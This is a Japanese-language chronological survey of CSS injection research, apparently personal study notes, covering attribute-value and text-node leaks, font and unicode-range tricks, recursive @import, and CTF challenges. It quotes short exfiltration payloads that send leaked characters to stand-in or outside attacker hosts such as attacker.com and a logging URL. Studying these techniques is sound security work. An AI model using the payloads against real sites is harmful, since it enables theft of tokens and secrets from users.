CSS Injection 調査
メンテされてそうな資料
既存手法のまとめページ
以下では、参考資料を時系列順に整理していく。
2008
CSS HTML Attribute Reader - おそらくこれが元祖
code:css
… 111 different variations …
のようにまず使用されている文字種を特定してから
code:css
inputvalue^="u"{ background:url("//attacker.com/?s=u"); } … and so, 8 questions... u,i,o,p,a,s,d,f …
inputvalue^="f"{ background:url("//attacker.com/?s=f"); } とそれだけを狙い撃ちで特定していくやり方
Unicodeでの表し方は\x10ではなく\10のはずだが、昔は違った?
[^=]と[$=]を併用することでリクエスト数を減らそうとしている - 参考 そのほか、visitedで閲覧履歴やローカルIPの漏えいなど
2012/12
CSS + RegEx - PoC ただし今のブラウザでは動かなさそう? SVG keylogger - PoC ただし今のブラウザでは動かなさそう? フォントのリガチャとスクロールバーを利用して属性値(CSRFトークン)をリーク - PoC code:css
@font-face {
font-family: TestS; src: url(test_S.svg#TestS) format("svg");
}
code:css
div.a a:after {
content: attr(href);
font-family: TestS;
}
狙いの属性値をcontentでフォント適用可能にし、
code:css
div.a::-webkit-scrollbar-track-piece:vertical:increment {
background: red url(/S);
}
マッチした時にスクロールバーを利用して裏でリークさせる
おそらくこのパターンの初出? ただしこの時点では効率悪そう
理論的にはむしろテキストノードのリークに有用なはずだが特に触れられておらず
2015/7
CSSでのXSS発火手法を紹介。expression以外にもいろいろ
前は読めたはずだが今は落ちてるっぽい。
2015/10
unicode-rangeを用いた手法の初出
code:css
<style>
@font-face{
font-family:poc;
unicode-range:U+0041;
}
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
重複は判別不可
2016/5
RPOを利用したCSSインジェクション
code:css
上記のようなContentプロパティでの改ざんが紹介されている
XSSへの発展も記載
2016/12
攻撃者が用意した罠ページで被害者ページをiframeで読み込ませる形でのPoC
属性値リークのパターンはこのあたりから実践的になってきたか
2017/9
属性値リークのPoC - さらに実践的。文字数の決まっているCSRFトークンを盗むことを想定
fontforgeでSVGをWOFFに変換してリガチャでテキストノードを窃取
SVGフォントがブラウザでサポートされなくなったからWOFFを使ったとのこと
テキストノードリークがここまで実践的になったのは初?
2017/12
RPO経由でのCSSインジェクションによる属性値リークが登場する問題。
属性値が数字から始まる場合は文字列とみなされない問題がある。本問題では引用符で囲もうにもエンコードされてしまうため、#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_0);}とアスタリスクを使用することで回避している。
2018/2
@font-faceのunicode-range手法を用いたCSSインジェクションの問題。
ただしこのやり方では重複を判定することはできない。animationとfirst-line疑似クラスを組み合わせることで文字の登場する順番を特定し、FLAGを推測可能なレベルにしている。※PoCにはtypoがあるため注意。 ただし、少なくとも現在のChromeではこれはうまく再現しない。
「ブラウザが結果を計算して全部の文字をプリロードしてしま」っているように見える。
Firefoxだと逆順取得は成功するが、最後の1文字はロードされなかったり、少し微妙な挙動。
animationの処理が当時と変わってしまっているのか?
2018/03
WebSocketで実装されたサイトでのCSSインジェクション属性値リークの問題?
あまり情報が転がってないので詳細はよくわからず
2018/06
adminとのチャット機能を通じて属性値リーク
2018/7
属性値リークのCSSインジェクション。
Chrome、Firefox、Edgeでは、background-imageプロパティはタグがhiddenの場合は適用されない。
スタイルを適用可能な隣接する要素が存在する場合のみ動作する。
code:css
}
ちなみにIEだとhiddenの場合でもfetchしにいくことを確認している。
2018/8
日本語でCSSインジェクションを体系的に紹介しているおそらくほぼ唯一の資料。嬉しい!
基本的な属性値リークと、テキストノードのリーク(リガチャ+スクロールバーの手法、@font-face+unicode-rangeの手法)をカバー
2018/8
CSS Recursive importとリガチャを組み合わせたPoC
a. Injection request @import url(http://.../style_1.css)
b. style_1 contains payload to leak first tuple + @import url(http://.../style_2.css)
c. server doesn’t respond to style_2 until it receives leaked tuple
d. style_2 contains payload to leak second tuple + @import …
e. ...
@importによる効率化が登場したのはおそらくここが初
ただしこの手法には以下の問題点がある。
CSSは読み込み順番に関わらず、最後に記述されたスタイルが適用される
importはスタイルより前に記述しなければ動作しない
つまり、importの読み込みを遅らせたところで、優先されるのはその後に続くスタイルになる
一方で、同要素を指す場合でも親要素を含めて指定したセレクターは、記述場所に関わらず親要素を指定していないセレクターより優先されるため、最初は対象となる要素のみ指すセレクターを指定し、「style_2」からは対象となる要素の親要素を含めたセレクターを指定していけば、期待通りの動作をしてくれる
だが、結局この手法は親要素の数までしか使えない。上記PoCでやたらと<div>を入れ子にしているのはそういう理由
2018/10
adminのCookieがcsrftokenと同値のためCSSインジェクション属性値リークで窃取
2018/12
「既存手法の外観と対策」のスライドをテキストでかみ砕いて説明した記事
再帰インポートについても追加で少し触れられている
2019/2
この時点でのCSSインジェクションの変遷が体系的にまとまっている
先の再帰インポート手法のPoCもこの人
2019/4
再帰インポートを利用する手法を詳しく解説してくれている
https://miro.medium.com/max/2000/1*vWkX27iq0UoSM_p4NCtlfQ.png
これまでの手法では以下の制限があった。
十分に長いペイロードを注入できる必要がある
iframeを使用できる必要がある
CSPに引っかからない必要がある
@importを使えれば上の2つは解消できる
前出の手法にあった「試行回数が親要素の数に制限される」問題を、最初に一挙に文字数分の@importを読み込ませることで解決しているという点で、こちらの方が実践的な手法になっている
ただし、@importはstyleタグの先頭に書く必要があるため、それができない場合は既存の手法でやるしかないと思われる
2019/05
CSPのnonceを再帰インポート手法を用いてリークさせてXSSに繋げる問題。
Writeupではsicを使用している
2019/10
デフォルトで使用できるフォントを利用したテキストノードのリーク手法
Comic Sansの大文字の高さを利用して垂直スクロールバーをトリガーしている
CSPにより外部フォントの読込ができない場面で有用な可能性
文字が繰り返されているかどうかは検出できるが、どの文字が繰り返されているかは検出できない
2020/2
MICHAŁ BENTKOWSKI の新手法。
既存の再帰インポートの手法はスタイルシートを非同期でロードするChromeでは使えるが、同期的に処理するFirefoxでは機能しない。
code:css
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
この問題は、上記のようにstyleタグを分割して書くことで回避できる。
しかし、デフォルトではブラウザの単一サーバーへの同時接続が6つに制限されているため、リークしたい文字数が多いとデータをリークするリクエストが届かなくなってしまう。
そこで、HTTP/2が接続を多重化できることを利用することでこれを回避する。
2020/05
元はAVtokyo2019の"A New Era of CSS Injection"だが、スライドは転がってなさそう
CSSインジェクションの基礎や、既存の再帰インポート手法の問題点を回避した手法とツールの紹介。とてもわかりやすくてありがたい
CSS適用には「より詳細で多くの種類を使用したセレクターが優先される」というルールがある
first-child、nth-child(1)という疑似クラスを利用
code:html
<style>
</style>
<input value="secret_text">
<input value="very_secret_text">
これらの疑似クラスはいくらでも繋げて書くことができるため、要素数に依存しない攻撃が可能
ちなみに、:first-child~*のように書くことでhiddenの場合の回避策と併用できることを確認している。
私の環境だとflask周りのコードを少し改変する必要があった
文字数指定する必要なし、待機時間を大幅に短縮
とはいえ、sicも文字数が分からない場合は多めに指定できるし、80文字程度でも一瞬で取得できるのであまりこの点では困らない気がする。
2021/06
BCACTF 2.0 Stylish
@font-faceのunicode-range手法を使っている
:nth-child()疑似クラスを用いて、キーロガー的なペイロードを作成している
問題の内容がよくわからないので何とも言えないが、あまり汎用的ではなさそう?
2021/10
TSG CTF 2021 Udon
単一のHTTPヘッダインジェクション脆弱性を使ってデータリークを狙う問題。
Linkヘッダを使ってcssを読み込ませる方法がある。ただしFirefoxしか使えない(本問のクローラはFirefox)
数字から始まる場合に備えてエスケープしている
ASIS CTF Quals 2021
metaタグを介して実装されたnonce、またはscriptタグ内のnonceは、CSS属性セレクターを介してリークされる可能性がある
iframeを使ってやろうとしたがSameSite=Laxがあるため新しいウインドウを開かせている
2021/11
既存手法ではSVGフォントはサポートされていないのでWOFFに変換する…とあったが、実はSafariはSVGフォントをサポートしている。
この手法の利点は、SVGフォントはすべてインラインでも記述できるので、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義して適用することができること。
2021/12
広告ブロッカーuBlockにおいてCSSインジェクションの脆弱性があった問題。
いくつかの興味深い攻撃手法も紹介されている。
type=passwordには使えない
Firefoxは同期的にロードするため文字の順番を保持できる
ただし、やはり重複を検出することは難しい
文字数を増やしたりするとうまく動かない?あくまでPoC用のanimationなのか
こちらも文字数を増やしたりするとうまく動かない。
現在のChromeでは文字順を正確に取得するのは難しく、Firefoxでも汎用的なanimationを書くのは難しい?
CTFで出題されたCSSインジェクション問題を紹介してくれている